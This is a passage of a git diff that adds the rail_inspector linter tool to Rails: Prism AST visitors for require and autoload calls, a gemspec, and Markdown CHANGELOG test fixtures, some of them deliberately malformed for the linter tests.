+        @to_s << '"'
+      end
+
+      def visit_symbol_node(node)
+        @to_s << node.unescaped
+      end
+
+      def visit_true_node(node)
+        @to_s << "true"
+      end
+
+      def visit_false_node(node)
+        @to_s << "false"
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/visitor/load.rb b/tools/rail_inspector/lib/rail_inspector/visitor/load.rb
new file mode 100644
index 0000000000000..18d1e3c1763cd
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/visitor/load.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "prism"
+
+module RailInspector
+  module Visitor
+    class Load < Prism::Visitor
+      def initialize(&block)
+        @current_loads = block
+        @namespace_stack = []
+      end
+
+      def visit_module_node(node)
+        case node.constant_path
+        in Prism::ConstantReadNode[name:]
+          @namespace_stack << name
+        in Prism::ConstantPathNode
+          @namespace_stack << node.constant_path.full_name
+        end
+
+        super
+
+        @namespace_stack.pop
+      end
+      alias visit_class_node visit_module_node
+
+      def visit_call_node(node)
+        case node.name
+        when :require
+          case node.arguments.arguments[0]
+          in Prism::StringNode[unescaped:]
+            @current_loads.call[:requires] << unescaped
+          else
+            # dynamic require, like "active_support/cache/#{store}"
+          end
+        when :autoload
+          case node.arguments.arguments
+          in [Prism::SymbolNode[unescaped:]]
+            namespaced_const = @namespace_stack.join("::")
+            namespaced_const << "::" << unescaped
+
+            @current_loads.call[:autoloads] << namespaced_const.underscore
+          in [Prism::SymbolNode, Prism::StringNode[unescaped:]]
+            @current_loads.call[:autoloads] << unescaped
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/rail_inspector.gemspec b/tools/rail_inspector/rail_inspector.gemspec
new file mode 100644
index 0000000000000..329c8741ac8c9
--- /dev/null
+++ b/tools/rail_inspector/rail_inspector.gemspec
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require_relative "lib/rail_inspector/version"
+
+Gem::Specification.new do |spec|
+  spec.name = "rail_inspector"
+  spec.version = RailInspector::VERSION
+  spec.authors = ["Hartley McGuire"]
+  spec.email = ["skipkayhil@gmail.com"]
+
+  spec.summary = "A collection of linters for rails/rails"
+  spec.homepage = "https://github.com/skipkayhil/rail_inspector"
+  spec.license = "MIT"
+  spec.required_ruby_version = ">= 3.2.0"
+
+  spec.metadata["homepage_uri"] = spec.homepage
+  spec.metadata["source_code_uri"] = spec.homepage
+  # spec.metadata["changelog_uri"] = "TODO: Put your gem's CHANGELOG.md URL here."
+
+  # Specify which files should be added to the gem when it is released.
+  # The `git ls-files -z` loads the files in the RubyGem that have been added into git.
+  spec.files = Dir.chdir(__dir__) do
+    `git ls-files -z`.split("\x0").reject do |f|
+      (File.expand_path(f) == __FILE__) || f.start_with?(*%w[bin/ test/ spec/ features/ .git .circleci appveyor])
+    end
+  end
+  spec.bindir = "exe"
+  spec.executables = spec.files.grep(%r{\Aexe/}) { |f| File.basename(f) }
+  spec.require_paths = ["lib"]
+
+  # Uncomment to register a new dependency of your gem
+  spec.add_dependency "prism", "~> 1.2"
+  spec.add_dependency "thor", "~> 1.0"
+end
diff --git a/tools/rail_inspector/test/fixtures/action_mailbox.md b/tools/rail_inspector/test/fixtures/action_mailbox.md
new file mode 100644
index 0000000000000..a279a950890ec
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/action_mailbox.md
@@ -0,0 +1,46 @@
+## Rails 7.1.0.rc1 (September 13, 2023) ##
+
+*   No changes.
+
+
+## Rails 7.1.0.beta1 (September 13, 2023) ##
+
+*   Fix `simple_format` with blank `wrapper_tag` option returns plain html tag
+
+    By default `simple_format` method returns the text wrapped with `<p>`. But if we explicitly specify
+    the `wrapper_tag: nil` in the options, it returns the text wrapped with `<></>` tag.
+
+    Before:
+
+    ```ruby
+    simple_format("Hello World", {},  { wrapper_tag: nil })
+    # <>Hello World</>
+    ```
+
+    After:
+
+    ```ruby
+    simple_format("Hello World", {},  { wrapper_tag: nil })
+    # <p>Hello World</p>
+    ```
+
+    *Akhil G Krishnan*, *Junichi Ito*
+
+*   Don't double-encode nested `field_id` and `field_name` index values
+
+    Pass `index: @options` as a default keyword argument to `field_id` and
+    `field_name` view helper methods.
+
+    *Sean Doyle*
+
+*   Allow opting in/out of `Link preload` headers when calling `stylesheet_link_tag` or `javascript_include_tag`
+
+    ```ruby
+    # will exclude header, even if setting is enabled:
+    javascript_include_tag("http://example.com/all.js", preload_links_header: false)
+
+    # will include header, even if setting is disabled:
+    stylesheet_link_tag("http://example.com/all.js", preload_links_header: true)
+    ```
+
+    *Alex Ghiculescu*
diff --git a/tools/rail_inspector/test/fixtures/action_mailbox_83d85b2.md b/tools/rail_inspector/test/fixtures/action_mailbox_83d85b2.md
new file mode 100644
index 0000000000000..0bb4a4e8e328b
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/action_mailbox_83d85b2.md
@@ -0,0 +1,3 @@
+
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/actionmailbox/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/fixtures/action_mailbox_invalid.md b/tools/rail_inspector/test/fixtures/action_mailbox_invalid.md
new file mode 100644
index 0000000000000..7561c34517839
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/action_mailbox_invalid.md
@@ -0,0 +1,47 @@
+## Rails 7.1.0.rc1 (September 13, 2023) ##
+
+*   No changes.
+
+
+## Rails 7.1.0.beta1 (September 13, 2023) ##
+========
+
+*   Fix `simple_format` with blank `wrapper_tag` option returns plain html tag
+
+    By default `simple_format` method returns the text wrapped with `<p>`. But if we explicitly specify
+    the `wrapper_tag: nil` in the options, it returns the text wrapped with `<></>` tag.
+
+    Before:
+
+    ```ruby
+    simple_format("Hello World", {},  { wrapper_tag: nil })
+    # <>Hello World</>
+    ```
+
+    After:
+
+    ```ruby
+    simple_format("Hello World", {},  { wrapper_tag: nil })
+    # <p>Hello World</p>
+    ```
+
+    *Akhil G Krishnan*, *Junichi Ito*
+
+*   Don't double-encode nested `field_id` and `field_name` index values
+
+    Pass `index: @options` as a default keyword argument to `field_id` and
+    `field_name` view helper methods.
+
+    *Sean Doyle*
+
+*   Allow opting in/out of `Link preload` headers when calling `stylesheet_link_tag` or `javascript_include_tag`
+
+    ```ruby
+    # will exclude header, even if setting is enabled:
+    javascript_include_tag("http://example.com/all.js", preload_links_header: false)
+
+    # will include header, even if setting is disabled:
+    stylesheet_link_tag("http://example.com/all.js", preload_links_header: true)
+    ```
+
+    *Alex Ghiculescu*
diff --git a/tools/rail_inspector/test/fixtures/action_pack_69d504.md b/tools/rail_inspector/test/fixtures/action_pack_69d504.md
new file mode 100644
index 0000000000000..d72abba38d2f7
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/action_pack_69d504.md
@@ -0,0 +1,10 @@
+*   This entry is not real but triggers the error because the next header is
+    incorrectly ambiguous when it isn't the top entry
+
+    *Hartley McGuire*
+
+*   Expand search field on `rails/info/routes` to also search **route name**, **http verb** and **controller#action**
+
+    *Jason Kotchoff*
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/fixtures/action_view.md b/tools/rail_inspector/test/fixtures/action_view.md
new file mode 100644
index 0000000000000..a77bda25dc35a
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/action_view.md
@@ -0,0 +1,41 @@
+## Rails 7.1.0.beta1 (September 13, 2023) ##
+
+*   Fix `simple_format` with blank `wrapper_tag` option returns plain html tag
+
+    By default `simple_format` method returns the text wrapped with `<p>`. But if we explicitly specify
+    the `wrapper_tag: nil` in the options, it returns the text wrapped with `<></>` tag.
+
+    Before:
+
+    ```ruby
+    simple_format("Hello World", {},  { wrapper_tag: nil })
+    # <>Hello World</>
+    ```
+
+    After:
+
+    ```ruby
+    simple_format("Hello World", {},  { wrapper_tag: nil })
+    # <p>Hello World</p>
+    ```
+
+    *Akhil G Krishnan*, *Junichi Ito*
+
+*   Don't double-encode nested `field_id` and `field_name` index values
+
+    Pass `index: @options` as a default keyword argument to `field_id` and
+    `field_name` view helper methods.
+
+    *Sean Doyle*
+
+*   Allow opting in/out of `Link preload` headers when calling `stylesheet_link_tag` or `javascript_include_tag`
+
+    ```ruby
+    # will exclude header, even if setting is enabled:
+    javascript_include_tag("http://example.com/all.js", preload_links_header: false)
+
+    # will include header, even if setting is disabled:
+    stylesheet_link_tag("http://example.com/all.js", preload_links_header: true)
+    ```
+
+    *Alex Ghiculescu*
diff --git a/tools/rail_inspector/test/fixtures/active_record_238432d.md b/tools/rail_inspector/test/fixtures/active_record_238432d.md
new file mode 100644
index 0000000000000..3dc16286673ed
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/active_record_238432d.md
@@ -0,0 +1,300 @@
+*   Add ability to ignore tables by regexp for SQL schema dumps.
+
+    ```ruby
+    ActiveRecord::SchemaDumper.ignore_tables = [/^_/]
+    ```
+
+    *fatkodima*
+
+*   Avoid queries when performing calculations on contradictory relations.
+
+    Previously calculations would make a query even when passed a
+    contradiction, such as `User.where(id: []).count`. We no longer perform a
+    query in that scenario.
+
+    This applies to the following calculations: `count`, `sum`, `average`,
+    `minimum` and `maximum`
+
+    *Luan Vieira, John Hawthorn and Daniel Colson*
+
+*   Allow using aliased attributes with `insert_all`/`upsert_all`.
+
+    ```ruby
+    class Book < ApplicationRecord
+      alias_attribute :title, :name
+    end
+
+    Book.insert_all [{ title: "Remote", author_id: 1 }], returning: :title
+    ```
+
+    *fatkodima*
+
+*   Support encrypted attributes on columns with default db values.
+
+This adds support for encrypted attributes defined on columns with default values. 
+It will encrypt those values at creation time. Before, it would raise an
+error unless `config.active_record.encryption.support_unencrypted_data` was true.
+
+*Jorge Manrubia* and *Dima Fatko*
+
+*   Allow overriding `reading_request?` in `DatabaseSelector::Resolver`
+
+    The default implementation checks if a request is a `get?` or `head?`,
+    but you can now change it to anything you like. If the method returns true,
+    `Resolver#read` gets called meaning the request could be served by the
+    replica database.
+
+    *Alex Ghiculescu*
+
+*   Remove `ActiveRecord.legacy_connection_handling`.
+
+    *Eileen M. Uchitelle*
+
+*   `rails db:schema:{dump,load}` now checks `ENV["SCHEMA_FORMAT"]` before config
+
+    Since `rails db:structure:{dump,load}` was deprecated there wasn't a simple
+    way to dump a schema to both SQL and Ruby formats. You can now do this with
+    an environment variable. For example:
+
+    ```
+    SCHEMA_FORMAT=sql rake db:schema:dump
+    ```
+
+    *Alex Ghiculescu*
+
+*   Fixed MariaDB default function support.
+
+    Defaults would be written wrong in "db/schema.rb" and not work correctly
+    if using `db:schema:load`. Further more the function name would be
+    added as string content when saving new records.
+
+    *kaspernj*
+
+*   Add `active_record.destroy_association_async_batch_size` configuration
+
+    This allows applications to specify the maximum number of records that will
+    be destroyed in a single background job by the `dependent: :destroy_async`
+    association option. By default, the current behavior will remain the same:
+    when a parent record is destroyed, all dependent records will be destroyed
+    in a single background job. If the number of dependent records is greater
+    than this configuration, the records will be destroyed in multiple
+    background jobs.
+
+    *Nick Holden*
+
+*   Fix `remove_foreign_key` with `:if_exists` option when foreign key actually exists.
+
+    *fatkodima*
+
+*   Remove `--no-comments` flag in structure dumps for PostgreSQL
+
+    This broke some apps that used custom schema comments. If you don't want
+    comments in your structure dump, you can use:
+
+    ```ruby
+    ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = ['--no-comments']
+    ```
+
+    *Alex Ghiculescu*
+
+*   Reduce the memory footprint of fixtures accessors.
+
+    Until now fixtures accessors were eagerly defined using `define_method`.
+    So the memory usage was directly dependent of the number of fixtures and
+    test suites.
+
+    Instead fixtures accessors are now implemented with `method_missing`,
+    so they incur much less memory and CPU overhead.
+
+    *Jean Boussier*
+
+*   Fix `config.active_record.destroy_association_async_job` configuration
+
+    `config.active_record.destroy_association_async_job` should allow
+    applications to specify the job that will be used to destroy associated
+    records in the background for `has_many` associations with the
+    `dependent: :destroy_async` option. Previously, that was ignored, which
+    meant the default `ActiveRecord::DestroyAssociationAsyncJob` always
+    destroyed records in the background.
+
+    *Nick Holden*
+
+*   Fix `change_column_comment` to preserve column's AUTO_INCREMENT in the MySQL adapter
+
+    *fatkodima*
+
+*   Fix quoting of `ActiveSupport::Duration` and `Rational` numbers in the MySQL adapter.
+
+    *Kevin McPhillips*
+
+*   Allow column name with COLLATE (e.g., title COLLATE "C") as safe SQL string
+
+    *Shugo Maeda*
+
+*   Permit underscores in the VERSION argument to database rake tasks.
+
+    *Eddie Lebow*
+
+*   Reversed the order of `INSERT` statements in `structure.sql` dumps
+
+    This should decrease the likelihood of merge conflicts. New migrations
+    will now be added at the top of the list.
+
+    For existing apps, there will be a large diff the next time `structure.sql`
+    is generated.
+
+    *Alex Ghiculescu*, *Matt Larraz*
+
+*   Fix PG.connect keyword arguments deprecation warning on ruby 2.7
+
+    Fixes #44307.
+
+    *Nikita Vasilevsky*
+
+*   Fix dropping DB connections after serialization failures and deadlocks.
+
+    Prior to 6.1.4, serialization failures and deadlocks caused rollbacks to be
+    issued for both real transactions and savepoints. This breaks MySQL which
+    disallows rollbacks of savepoints following a deadlock.
+
+    6.1.4 removed these rollbacks, for both transactions and savepoints, causing
+    the DB connection to be left in an unknown state and thus discarded.
+
+    These rollbacks are now restored, except for savepoints on MySQL.
+
+    *Thomas Morgan*
+
+*   Make `ActiveRecord::ConnectionPool` Fiber-safe
+
+    When `ActiveSupport::IsolatedExecutionState.isolation_level` is set to `:fiber`,
+    the connection pool now supports multiple Fibers from the same Thread checking
+    out connections from the pool.
+
+    *Alex Matchneer*
+
+*   Add `update_attribute!` to `ActiveRecord::Persistence`
+
+    Similar to `update_attribute`, but raises `ActiveRecord::RecordNotSaved` when a `before_*` callback throws `:abort`.
+
+    ```ruby
+    class Topic < ActiveRecord::Base
+      before_save :check_title
+
+      def check_title
+        throw(:abort) if title == "abort"
+      end
+    end
+
+    topic = Topic.create(title: "Test Title")
+    # #=> #<Topic title: "Test Title">
+    topic.update_attribute!(:title, "Another Title")
+    # #=> #<Topic title: "Another Title">
+    topic.update_attribute!(:title, "abort")
+    # raises ActiveRecord::RecordNotSaved
+    ```
+
+    *Drew Tempelmeyer*
+
+*   Avoid loading every record in `ActiveRecord::Relation#pretty_print`
+
+    ```ruby
+    # Before
+    pp Foo.all # Loads the whole table.
+
+    # After
+    pp Foo.all # Shows 10 items and an ellipsis.
+    ```
+
+    *Ulysse Buonomo*
+
+*   Change `QueryMethods#in_order_of` to drop records not listed in values.
+
+    `in_order_of` now filters down to the values provided, to match the behavior of the `Enumerable` version.
+
+    *Kevin Newton*
+
+*   Allow named expression indexes to be revertible.
+
+    Previously, the following code would raise an error in a reversible migration executed while rolling back, due to the index name not being used in the index removal.
+
+    ```ruby
+    add_index(:settings, "(data->'property')", using: :gin, name: :index_settings_data_property)
+    ```
+
+    Fixes #43331.
+
+    *Oliver Günther*
+
+*   Fix incorrect argument in PostgreSQL structure dump tasks.
+
+    Updating the `--no-comment` argument added in Rails 7 to the correct `--no-comments` argument.
+
+    *Alex Dent*
+
+*   Fix migration compatibility to create SQLite references/belongs_to column as integer when migration version is 6.0.
+
+    Reference/belongs_to in migrations with version 6.0 were creating columns as
+    bigint instead of integer for the SQLite Adapter.
+
+    *Marcelo Lauxen*
+
+*   Add a deprecation warning when `prepared_statements` configuration is not
+    set for the mysql2 adapter.
+
+    *Thiago Araujo and Stefanni Brasil*
+
+*   Fix `QueryMethods#in_order_of` to handle empty order list.
+
+    ```ruby
+    Post.in_order_of(:id, []).to_a
+    ```
+
+    Also more explicitly set the column as secondary order, so that any other
+    value is still ordered.
+
+    *Jean Boussier*
+
+*   Fix quoting of column aliases generated by calculation methods.
+
+    Since the alias is derived from the table name, we can't assume the result
+    is a valid identifier.
+
+    ```ruby
+    class Test < ActiveRecord::Base
+      self.table_name = '1abc'
+    end
+    Test.group(:id).count
+    # syntax error at or near "1" (ActiveRecord::StatementInvalid)
+    # LINE 1: SELECT COUNT(*) AS count_all, "1abc"."id" AS 1abc_id FROM "1...
+    ```
+
+    *Jean Boussier*
+
+*   Add `authenticate_by` when using `has_secure_password`.
+
+    `authenticate_by` is intended to replace code like the following, which
+    returns early when a user with a matching email is not found:
+
+    ```ruby
+    User.find_by(email: "...")&.authenticate("...")
+    ```
+
+    Such code is vulnerable to timing-based enumeration attacks, wherein an
+    attacker can determine if a user account with a given email exists. After
+    confirming that an account exists, the attacker can try passwords associated
+    with that email address from other leaked databases, in case the user
+    re-used a password across multiple sites (a common practice). Additionally,
+    knowing an account email address allows the attacker to attempt a targeted
+    phishing ("spear phishing") attack.
+
+    `authenticate_by` addresses the vulnerability by taking the same amount of
+    time regardless of whether a user with a matching email is found:
+
+    ```ruby
+    User.authenticate_by(email: "...", password: "...")
+    ```
+
+    *Jonathan Hefner*
+
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/fixtures/active_record_51852d2.md b/tools/rail_inspector/test/fixtures/active_record_51852d2.md
new file mode 100644
index 0000000000000..e0572ba74908d
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/active_record_51852d2.md
@@ -0,0 +1,190 @@
+*   Fix `config.active_record.destroy_association_async_job` configuration
+
+    `config.active_record.destroy_association_async_job` should allow
+    applications to specify the job that will be used to destroy associated
+    records in the background for `has_many` associations with the
+    `dependent: :destroy_async` option. Previously, that was ignored, which
+    meant the default `ActiveRecord::DestroyAssociationAsyncJob` always
+    destroyed records in the background.
+
+    *Nick Holden*
+
+* Fix `change_column_comment` to preserve column's AUTO_INCREMENT in the MySQL adapter
+
+    *fatkodima*
+
+*   Fix quoting of `ActiveSupport::Duration` and `Rational` numbers in the MySQL adapter.
+
+    *Kevin McPhillips*
+
+*   Allow column name with COLLATE (e.g., title COLLATE "C") as safe SQL string
+
+    *Shugo Maeda*
+
+*   Permit underscores in the VERSION argument to database rake tasks.
+
+    *Eddie Lebow*
+
+*   Reversed the order of `INSERT` statements in `structure.sql` dumps
+
+    This should decrease the likelihood of merge conflicts. New migrations
+    will now be added at the top of the list.
+
+    For existing apps, there will be a large diff the next time `structure.sql`
+    is generated.
+
+    *Alex Ghiculescu*, *Matt Larraz*
+
+*   Fix PG.connect keyword arguments deprecation warning on ruby 2.7
+
+    Fixes #44307.
+
+    *Nikita Vasilevsky*
+
+*   Fix dropping DB connections after serialization failures and deadlocks.
+
+    Prior to 6.1.4, serialization failures and deadlocks caused rollbacks to be
+    issued for both real transactions and savepoints. This breaks MySQL which
+    disallows rollbacks of savepoints following a deadlock.
+
+    6.1.4 removed these rollbacks, for both transactions and savepoints, causing
+    the DB connection to be left in an unknown state and thus discarded.
+
+    These rollbacks are now restored, except for savepoints on MySQL.
+
+    *Thomas Morgan*
+
+*   Make `ActiveRecord::ConnectionPool` Fiber-safe
+
+    When `ActiveSupport::IsolatedExecutionState.isolation_level` is set to `:fiber`,
+    the connection pool now supports multiple Fibers from the same Thread checking
+    out connections from the pool.
+
+    *Alex Matchneer*
+
+*   Add `update_attribute!` to `ActiveRecord::Persistence`
+
+    Similar to `update_attribute`, but raises `ActiveRecord::RecordNotSaved` when a `before_*` callback throws `:abort`.
+
+    ```ruby
+    class Topic < ActiveRecord::Base
+      before_save :check_title
+
+      def check_title
+        throw(:abort) if title == "abort"
+      end
+    end
+
+    topic = Topic.create(title: "Test Title")
+    # #=> #<Topic title: "Test Title">
+    topic.update_attribute!(:title, "Another Title")
+    # #=> #<Topic title: "Another Title">
+    topic.update_attribute!(:title, "abort")
+    # raises ActiveRecord::RecordNotSaved
+    ```
+
+    *Drew Tempelmeyer*
+
+*   Avoid loading every record in `ActiveRecord::Relation#pretty_print`
+
+    ```ruby
+    # Before
+    pp Foo.all # Loads the whole table.
+
+    # After
+    pp Foo.all # Shows 10 items and an ellipsis.
+    ```
+
+    *Ulysse Buonomo*
+
+*   Change `QueryMethods#in_order_of` to drop records not listed in values.
+
+    `in_order_of` now filters down to the values provided, to match the behavior of the `Enumerable` version.
+
+    *Kevin Newton*
+
+*   Allow named expression indexes to be revertible.
+
+    Previously, the following code would raise an error in a reversible migration executed while rolling back, due to the index name not being used in the index removal.
+
+    ```ruby
+    add_index(:settings, "(data->'property')", using: :gin, name: :index_settings_data_property)
+    ```
+
+    Fixes #43331.
+
+    *Oliver Günther*
+
+*   Fix incorrect argument in PostgreSQL structure dump tasks.
+
+    Updating the `--no-comment` argument added in Rails 7 to the correct `--no-comments` argument.
+
+    *Alex Dent*
+
+*   Fix migration compatibility to create SQLite references/belongs_to column as integer when migration version is 6.0.
+
+    Reference/belongs_to in migrations with version 6.0 were creating columns as
+    bigint instead of integer for the SQLite Adapter.
+
+    *Marcelo Lauxen*
+
+*   Add a deprecation warning when `prepared_statements` configuration is not
+    set for the mysql2 adapter.
+
+    *Thiago Araujo and Stefanni Brasil*
+
+*   Fix `QueryMethods#in_order_of` to handle empty order list.
+
+    ```ruby
+    Post.in_order_of(:id, []).to_a
+    ```
+
+    Also more explicitly set the column as secondary order, so that any other
+    value is still ordered.
+
+    *Jean Boussier*
+
+*   Fix quoting of column aliases generated by calculation methods.
+
+    Since the alias is derived from the table name, we can't assume the result
+    is a valid identifier.
+
+    ```ruby
+    class Test < ActiveRecord::Base
+      self.table_name = '1abc'
+    end
+    Test.group(:id).count
+    # syntax error at or near "1" (ActiveRecord::StatementInvalid)
+    # LINE 1: SELECT COUNT(*) AS count_all, "1abc"."id" AS 1abc_id FROM "1...
+    ```
+
+    *Jean Boussier*
+
+*   Add `authenticate_by` when using `has_secure_password`.
+
+    `authenticate_by` is intended to replace code like the following, which
+    returns early when a user with a matching email is not found:
+
+    ```ruby
+    User.find_by(email: "...")&.authenticate("...")
+    ```
+
+    Such code is vulnerable to timing-based enumeration attacks, wherein an
+    attacker can determine if a user account with a given email exists. After
+    confirming that an account exists, the attacker can try passwords associated
+    with that email address from other leaked databases, in case the user
+    re-used a password across multiple sites (a common practice). Additionally,
+    knowing an account email address allows the attacker to attempt a targeted
+    phishing ("spear phishing") attack.
+
+    `authenticate_by` addresses the vulnerability by taking the same amount of
+    time regardless of whether a user with a matching email is found:
+
+    ```ruby
+    User.authenticate_by(email: "...", password: "...")
+    ```
+
+    *Jonathan Hefner*
+
+
+Please check [7-0-stable](https://github.com/rails/rails/blob/7-0-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/tools/rail_inspector/test/fixtures/active_record_936a862.md b/tools/rail_inspector/test/fixtures/active_record_936a862.md
new file mode 100644
index 0000000000000..925a1a3742876
--- /dev/null
+++ b/tools/rail_inspector/test/fixtures/active_record_936a862.md
@@ -0,0 +1,476 @@
+*   Introduce strategy pattern for executing migrations.
+
+    By default, migrations will use a strategy object that delegates the method
+    to the connection adapter. Consumers can implement custom strategy objects
+    to change how their migrations run.
+
+    *Adrianna Chang*
+
+*   Add adapter option disallowing foreign keys
+
+    This adds a new option to be added to `database.yml` which enables skipping
+    foreign key constraints usage even if the underlying database supports them.
+
+    Usage:
+    ```yaml
+    development:
+        <<: *default
+        database: db/development.sqlite3
+        foreign_keys: false
+    ```
+
+    *Paulo Barros*
+
+*   Add configurable deprecation warning for singular associations
+
+    This adds a deprecation warning when using the plural name of a singular associations in `where`.
+    It is possible to opt into the new more performant behavior with `config.active_record.allow_deprecated_singular_associations_name = false`
+
+    *Adam Hess*
+
+*   Run transactional callbacks on the freshest instance to save a given 
+    record within a transaction.
+
+    When multiple Active Record instances change the same record within a 
+    transaction, Rails runs `after_commit` or `after_rollback` callbacks for 
+    only one of them. `config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction` 
+    was added to specify how Rails chooses which instance receives the 
+    callbacks. The framework defaults were changed to use the new logic.
+
+    When `config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction` 
+    is `true`, transactional callbacks are run on the first instance to save, 
+    even though its instance state may be stale.
+
+    When it is `false`, which is the new framework default starting with version 
+    7.1, transactional callbacks are run on the instances with the freshest 
+    instance state. Those instances are chosen as follows:
+
+    - In general, run transactional callbacks on the last instance to save a 
+      given record within the transaction.
+    - There are two exceptions:
+        - If the record is created within the transaction, then updated by 
+          another instance, `after_create_commit` callbacks will be run on the 
+          second instance. This is instead of the `after_update_commit` 
+          callbacks that would naively be run based on that instance’s state.
+        - If the record is destroyed within the transaction, then 
+          `after_destroy_commit` callbacks will be fired on the last destroyed 
+          instance, even if a stale instance subsequently performed an update 
+          (which will have affected 0 rows).
+
+    *Cameron Bothner and Mitch Vollebregt*
+
+*   Enable strict strings mode for `SQLite3Adapter`.
+
+    Configures SQLite with a strict strings mode, which disables double-quoted string literals.
+
+    SQLite has some quirks around double-quoted string literals.
+    It first tries to consider double-quoted strings as identifier names, but if they don't exist
+    it then considers them as string literals. Because of this, typos can silently go unnoticed.
+    For example, it is possible to create an index for a non existing column.
+    See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details.
+
+    If you don't want this behavior, you can disable it via:
+
+    ```ruby
+    # config/application.rb
+    config.active_record.sqlite3_adapter_strict_strings_by_default = false
+    ```
+
+    Fixes #27782.
+
+    *fatkodima*, *Jean Boussier*
+
+*   Resolve issue where a relation cache_version could be left stale.
+
+    Previously, when `reset` was called on a relation object it did not reset the cache_versions
+    ivar. This led to a confusing situation where despite having the correct data the relation
+    still reported a stale cache_version.
+
+    Usage:
+
+    ```ruby
+    developers = Developer.all
+    developers.cache_version
+
+    Developer.update_all(updated_at: Time.now.utc + 1.second)
+
+    developers.cache_version # Stale cache_version
+    developers.reset
+    developers.cache_version # Returns the current correct cache_version
+    ```
+
+    Fixes #45341.
+
+    *Austen Madden*
+
+*   Add support for exclusion constraints (PostgreSQL-only).
+
+    ```ruby
+    add_exclusion_constraint :invoices, "daterange(start_date, end_date) WITH &&", using: :gist, name: "invoices_date_overlap"
+    remove_exclusion_constraint :invoices, name: "invoices_date_overlap"
+    ```
+
+    See PostgreSQL's [`CREATE TABLE ... EXCLUDE ...`](https://www.postgresql.org/docs/12/sql-createtable.html#SQL-CREATETABLE-EXCLUDE) documentation for more on exclusion constraints.
+
+    *Alex Robbin*
+
+*   `change_column_null` raises if a non-boolean argument is provided
+
+    Previously if you provided a non-boolean argument, `change_column_null` would
+    treat it as truthy and make your column nullable. This could be surprising, so now
+    the input must be either `true` or `false`.
+
+    ```ruby
+    change_column_null :table, :column, true # good
+    change_column_null :table, :column, false # good
+    change_column_null :table, :column, from: true, to: false # raises (previously this made the column nullable)
+    ```
+
+    *Alex Ghiculescu*
+
+*   Enforce limit on table names length.
+
+    Fixes #45130.
+
+    *fatkodima*
+
+*   Adjust the minimum MariaDB version for check constraints support.
+
+    *Eddie Lebow*
+
+*   Fix Hstore deserialize regression.
+
+    *edsharp*
+
+*   Add validity for PostgreSQL indexes.
+
+    ```ruby
+    connection.index_exists?(:users, :email, valid: true)
+    connection.indexes(:users).select(&:valid?)
+    ```
+
+    *fatkodima*
+
+*   Fix eager loading for models without primary keys.
+
+    *Anmol Chopra*, *Matt Lawrence*, and *Jonathan Hefner*
+
+*   Avoid validating a unique field if it has not changed and is backed by a unique index.
+
+    Previously, when saving a record, ActiveRecord will perform an extra query to check for the uniqueness of
+    each attribute having a `uniqueness` validation, even if that attribute hasn't changed.
+    If the database has the corresponding unique index, then this validation can never fail for persisted records,
+    and we could safely skip it.
+
+    *fatkodima*
+
+*   Stop setting `sql_auto_is_null`
+
+    Since version 5.5 the default has been off, we no longer have to manually turn it off.
+
+    *Adam Hess*
+
+*   Fix `touch` to raise an error for readonly columns.
+
+    *fatkodima*
+
+*   Add ability to ignore tables by regexp for SQL schema dumps.
+
+    ```ruby
+    ActiveRecord::SchemaDumper.ignore_tables = [/^_/]
+    ```
+
+    *fatkodima*
+
+*   Avoid queries when performing calculations on contradictory relations.
+
+    Previously calculations would make a query even when passed a
+    contradiction, such as `User.where(id: []).count`. We no longer perform a
+    query in that scenario.
+
+    This applies to the following calculations: `count`, `sum`, `average`,
+    `minimum` and `maximum`
+
+    *Luan Vieira, John Hawthorn and Daniel Colson*
+
+*   Allow using aliased attributes with `insert_all`/`upsert_all`.
+
+    ```ruby
+    class Book < ApplicationRecord
+      alias_attribute :title, :name
+    end
+
+    Book.insert_all [{ title: "Remote", author_id: 1 }], returning: :title
+    ```
+
+    *fatkodima*
+
+*   Support encrypted attributes on columns with default db values.
+
+    This adds support for encrypted attributes defined on columns with default values.
+    It will encrypt those values at creation time. Before, it would raise an
+    error unless `config.active_record.encryption.support_unencrypted_data` was true.
+
+    *Jorge Manrubia* and *Dima Fatko*
+
+*   Allow overriding `reading_request?` in `DatabaseSelector::Resolver`
+
+    The default implementation checks if a request is a `get?` or `head?`,
+    but you can now change it to anything you like. If the method returns true,
+    `Resolver#read` gets called meaning the request could be served by the
+    replica database.
+
+    *Alex Ghiculescu*
+
+*   Remove `ActiveRecord.legacy_connection_handling`.
+
+    *Eileen M. Uchitelle*
+
+*   `rails db:schema:{dump,load}` now checks `ENV["SCHEMA_FORMAT"]` before config
+
+    Since `rails db:structure:{dump,load}` was deprecated there wasn't a simple
+    way to dump a schema to both SQL and Ruby formats. You can now do this with
+    an environment variable. For example:
+
+    ```
+    SCHEMA_FORMAT=sql rake db:schema:dump
+    ```
+
+    *Alex Ghiculescu*
+
+*   Fixed MariaDB default function support.
+
+    Defaults would be written wrong in "db/schema.rb" and not work correctly
+    if using `db:schema:load`. Further more the function name would be
+    added as string content when saving new records.
+
+    *kaspernj*
+
+*   Add `active_record.destroy_association_async_batch_size` configuration
+
+    This allows applications to specify the maximum number of records that will
+    be destroyed in a single background job by the `dependent: :destroy_async`
+    association option. By default, the current behavior will remain the same:
